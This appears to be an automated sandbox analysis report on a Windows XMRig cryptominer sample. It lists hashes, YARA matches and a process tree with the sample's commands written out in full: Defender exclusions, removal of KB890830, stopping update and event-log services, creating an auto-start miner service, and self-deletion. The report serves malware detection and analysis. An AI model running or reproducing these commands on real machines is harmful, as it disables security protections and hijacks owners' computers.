Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
22-12-2024 02:20
Static task
static1
Behavioral task
behavioral1
Sample
6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe
Resource
win7-20240708-en
General
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Target
6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe
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Size
5.6MB
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MD5
7465e902a84aaccacf4da201e73a79f0
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SHA1
a1e0b3bf59e4b77678ea0e1e9e86cbe2af12f4ad
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SHA256
6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493
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SHA512
8558e89f3fae77e386e26077cd7d1d5e84e38a1d12ed6477b20c2427dc98257e9ff8f1ae30e2e5d7f93b3358210ee4884f8eab978ac19cccfe8d74c96c5911c3
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2364-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2364-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2404 powershell.exe 1808 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1136 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2860 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2940 powercfg.exe 2312 powercfg.exe 1408 powercfg.exe 2196 powercfg.exe 1400 powercfg.exe 2764 powercfg.exe 2648 powercfg.exe 2712 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2860 set thread context of 2444 2860 fqwofdtexigy.exe 85 PID 2860 set thread context of 2364 2860 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2364-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2364-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2824 sc.exe 2732 sc.exe 680 sc.exe 3004 sc.exe 2912 sc.exe 1732 sc.exe 2748 sc.exe 2960 sc.exe 320 sc.exe 2136 sc.exe 1620 sc.exe 1608 sc.exe 1668 sc.exe 580 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3028e92e1854db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2404 powershell.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2032 6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe 2860 fqwofdtexigy.exe 1808 powershell.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2860 fqwofdtexigy.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe 2364 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2404 powershell.exe Token: SeShutdownPrivilege 2712 powercfg.exe Token: SeShutdownPrivilege 2764 powercfg.exe Token: SeShutdownPrivilege 2648 powercfg.exe Token: SeShutdownPrivilege 1400 powercfg.exe Token: SeDebugPrivilege 1808 powershell.exe Token: SeShutdownPrivilege 2312 powercfg.exe Token: SeShutdownPrivilege 2196 powercfg.exe Token: SeShutdownPrivilege 2940 powercfg.exe Token: SeShutdownPrivilege 1408 powercfg.exe Token: SeLockMemoryPrivilege 2364 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2744 wrote to memory of 2756 2744 cmd.exe 38 PID 2744 wrote to memory of 2756 2744 cmd.exe 38 PID 2744 wrote to memory of 2756 2744 cmd.exe 38 PID 1136 wrote to memory of 2968 1136 cmd.exe 64 PID 1136 wrote to memory of 2968 1136 cmd.exe 64 PID 1136 wrote to memory of 2968 1136 cmd.exe 64 PID 1860 wrote to memory of 1640 1860 cmd.exe 73 PID 1860 wrote to memory of 1640 1860 cmd.exe 73 PID 1860 wrote to memory of 1640 1860 cmd.exe 73 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2444 2860 fqwofdtexigy.exe 85 PID 2860 wrote to memory of 2364 2860 fqwofdtexigy.exe 89 PID 2860 wrote to memory of 2364 2860 fqwofdtexigy.exe 89 PID 2860 wrote to memory of 2364 2860 fqwofdtexigy.exe 89 PID 2860 wrote to memory of 2364 2860 fqwofdtexigy.exe 89 PID 2860 wrote to memory of 2364 2860 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe"C:\Users\Admin\AppData\Local\Temp\6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2032 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2756
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2824
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2732
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2960
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1400
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2764
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2712
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1668
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1732
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:580
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2968
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1640
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2136
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1620
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1608
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:680
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3004
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2940
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2312
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1408
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2196
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2444
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD57465e902a84aaccacf4da201e73a79f0
SHA1a1e0b3bf59e4b77678ea0e1e9e86cbe2af12f4ad
SHA2566c14ca9b0935e5d8728292de42ee212a55c9bfc8b3b117e465d29121d2be4493
SHA5128558e89f3fae77e386e26077cd7d1d5e84e38a1d12ed6477b20c2427dc98257e9ff8f1ae30e2e5d7f93b3358210ee4884f8eab978ac19cccfe8d74c96c5911c3